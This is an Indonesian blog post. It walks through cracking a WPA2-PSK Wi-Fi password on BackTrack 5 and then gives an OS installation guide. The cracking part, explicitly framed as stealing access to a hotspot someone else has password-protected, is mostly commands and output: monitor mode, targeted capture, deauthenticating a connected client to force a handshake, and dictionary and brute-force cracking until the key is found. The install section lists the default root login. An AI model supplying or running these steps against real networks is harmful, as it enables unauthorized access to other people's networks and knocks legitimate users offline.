Wireless Hacking Backtrack 5

Wireless Hacking

Pasti Kalian udah tau Apa itu wireless ga usah di jelasin lah,pasti begitu banyak yg dapetin Hotspot Gratis,,tapi bagaimana kalo Hotspot yg ingin kita pakai Di password Oleh admin Nah ada caranya neh untuk Hack WPA/PSK


Oke, yang diperlukan adalah:
1. Anda menggunakan BackTrack 5 Linux sebagai OS Secondary anda, buatlah dual booting di LAPTOP anda
2. Anda harus mengumpulkan password worldlist, agar bisa dilihat passwordnya, silakan dicari di google.
3. Koneksi wireless / wireless card
4. WPA yang ada di laptop anda.
5. John the ripper password cracker.
6. Aircrack-ng & airodump-ng (Aircrack package dah)

Download bactrack KLIK DISIN
Download Wordlist Join the ripper KLIK DISINI

Oke mari kita lanjutkan:
1. Kita buka shell prompt di BT dan tampilkan wireless yang sedang ada di sekitar kita, berikut adalah perintahnya:
root@admin:~# airmon-ng start wlan0
Interface Chipset Driver
wlan0 Zydas zd1211 zd1211rw – [phy1]
(monitor mode enabled on mon0)
2. Khekhehehe.. Ternyata ada yang nongol, yuk mari kita jadikan target wireless tersebut:

root@admin:~# airodump-ng mon0
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
38:E7:D8:AD:B2:0E 0 61 0 0 11 54e WPA2 CCMP PSK Wireless
3. Wokeh, sudah tersedia, mari kita mulai mengambil / mencuri akses wireless

root@admin:~# airodump-ng mon0 –channel 11 –bssid 38:E7:D8:AD:B2:0E -w /tmp/wpa2
CH 11 ][ BAT: 3 hours 51 mins ][ Elapsed: 7 mins ][ 2011-09-26 21:24
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
38:E7:D8:AD:B2:0E 0 100 4319 83 0 11 54e WPA2 CCMP PSK Wireless
BSSID STATION PWR Rate Lost Packets Probes
38:E7:D8:AD:B2:0E 00:03:6D:F4:F8:86 0 1 -48 0 81 Wireless

Kita tunggu user untuk melakukan autentikasi dan de-autentikasi selama beberapa waktu.
Sabar saja ketika menunggu ya.. Pasti ada yang login & logout kan? Nah sampai ketemu hal seperti berikut dibawah:
4. Kita mendapatkan user yang sedang logout / deautentikasi / kita buat dia deautentikasi, kita gunakan perintah berikut:

root@admin:~# aireplay-ng -0 1 -a 38:E7:D8:AD:B2:0E -c 00:03:6D:F4:F8:86 mon0
21:25:49 Waiting for beacon frame (BSSID: 38:E7:D8:AD:B2:0E) on channel 11
21:25:50 Sending 64 directed DeAuth. STMAC: [00:03:6D:F4:F8:86] [62|63 ACKs]
root@binushacker:~#

5. Setelah logout & user tesebut login lagi, maka kita akan mendapatkan informasi key loginnya seperti hal berikut:

CH 11 ][ BAT: 3 hours 43 mins ][ Elapsed: 1 min ][ 2011-09-26 21:27 ][ WPA handshake: 38:E7:D8:AD:B2:0E
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
38:E7:D8:AD:B2:0E 0 96 807 28 0 11 54e WPA2 CCMP PSK Wireless
BSSID STATION PWR Rate Lost Packets Probes
38:E7:D8:AD:B2:0E 00:03:6D:F4:F8:86 0 54 - 6 0 161
6. Nah kita dapatkan nih autentikasinya, kita mulai dengan John The Ripper, pastikan bahwa anda memiliki wordlist yang sangat banyak dan kompleks agar bisa ketemu KEY nya:

root@admin:~# aircrack-ng -w /pentest/passwords/john/password.lst -b 38:E7:D8:AD:B2:0E /tmp/wpa*.cap
Opening /tmp/wpa2-01.cap
Opening /tmp/wpa2-02.cap
Reading packets, please wait...
Aircrack-ng 1.1 r1904
[00:00:00] 48 keys tested (489.60 k/s)
KEY FOUND! [ W!R3L3$$PWD ]
Master Key : 02 A7 BC 5F 24 67 CA 2A B5 FC F0 01 1E D5 9B 2C
8B 42 A5 A8 C6 55 6B 33 4A 09 8B 07 84 D3 C0 1D
Transient Key : 3F 56 FD 2B 2F CE FA D9 55 14 84 2F 53 31 42 BF
8C FE 11 78 9F 51 48 33 97 62 E1 C6 D7 B1 9C 6C
6B D7 5A 1C 11 22 3F 0B 7E 1D 42 51 5E 55 F4 28
D2 3A DB 75 81 DD 4E BB 64 51 29 86 AA 55 06 7B
EAPOL HMAC : 17 6E 91 77 A2 A9 F1 C5 6F 33 02 4D 59 64 8A 9B
root@admin:~#
Nah, passwordnya ketemu: W!R3L3$$PWD
7. Klo anda gak mau pake wordlist, ya biasanya menunggu agak lama, apalagi klo komputernya lemot bisa berabe. Berikut adalah cara tanpa menggunakan wordlist dengan John The Ripper:

root@admin:~# /pentest/passwords/john/john --stdout --incremental:all | aircrack-ng -b 38:E7:D8:AD:B2:0E -w - /tmp/wpa2*.cap
Opening /tmp/wpa2-01.cap
Opening /tmp/wpa2-02.cap
Reading packets, please wait...
Aircrack-ng 1.1 r1904
[00:00:22] 11484 keys tested (534.50 k/s)
KEY FOUND! [ W!R3L3$$PWD ]
Master Key : 02 A7 BC 5F 24 67 CA 2A B5 FC F0 01 1E D5 9B 2C
8B 42 A5 A8 C6 55 6B 33 4A 09 8B 07 84 D3 C0 1D
Transient Key : 3F 56 FD 2B 2F CE FA D9 55 14 84 2F 53 31 42 BF
8C FE 11 78 9F 51 48 33 97 62 E1 C6 D7 B1 9C 6C
6B D7 5A 1C 11 22 3F 0B 7E 1D 42 51 5E 55 F4 28
D2 3A DB 75 81 DD 4E BB 64 51 29 86 AA 55 06 7B
EAPOL HMAC : 17 6E 91 77 A2 A9 F1 C5 6F 33 02 4D 59 64 8A 9B
root@admin:~#
Nah, passwordnya ketemu juga, tapi saya harus menunggu 30 JAM: W!R3L3$$PWD

penggunaan backtrack Linux

Cara instal Backtrack 5 R2 Gnome

Backtrack, OS Linux yang installernya biasanya dibagikan secara gratis kalo kita ikut seminar yang berbau hacking. Backtrack menyediakan tools attacking/hacking didalamnya yang sangat lengkap menurut saya. Untuk yang belum punya bisa didownload disini : http://repo.ugm.ac.id/iso/backtrack/

Dipost ini saya akan menjelaskan cara install Backtrack, saya menggunakan Backtrack 5 R2 Gnome. Selain menggunakan kata - kata, saya juga menambahkan gambar saat proses installasinya. Click gambar agar terlihat jelas.

Berikut adalah cara install Backtrack 5 R2  :

- Insert media installasi (DVD/FlashDisk) ke PC anda, tunggu sampai tampilan seperti ini :

- Click enter,

- Pilih BackTract Text, click enter. Ketik Startx (Fungsi Startx adalah untuk memulai / memunculkan GUI Backtrack 5 R2 Gnome)

- Click Install BackTrack,

- Pilih English, setelah itu click Forward, tunggu sampai setting up the clock selesai,

- Sesuaikan Religion dan Time Zone sesuai keinginan anda lalu click Forward :

- Pilih Keyboard layout yang anda inginkan. Lalu click Forward,

- Pilih Specify partitions manually (advanced), lalu click forward,

- Click free space, lalu click Add..

- Buat partisi dengan settingan sesuai yang ada digambar atas, kecuali size (isi sesuai kebutuhan anda) lalu click OK,

- Pilih free space, lalu click Add..

- Buat partisi dengan settingan sesuai yang ada digambar atas, kecuali size (isi sesuai kebutuhan anda) lalu click OK,

- Pilih partisi yang bertype Ext4, lalu click Forward,

- Click Install, tunggu sampai proses installasi selesai.

- Click Restart Now,

- Remove atau lepas media installasi (DVD/FlashDisk) dari PC/laptop anda, dan click enter. Maka PC/Laptop anda akan restart dan tunggu sampai tampilan seperti ini :

Isi Login dengan : root

dan isi Passwordnya dengan : toor

lalu ketik startx agar masuk ke dekstopnya, remove/delete shortcut "install BackTrack" yang ada pada dekstop. Proses instalasi Backtrack 5 R2 selesai.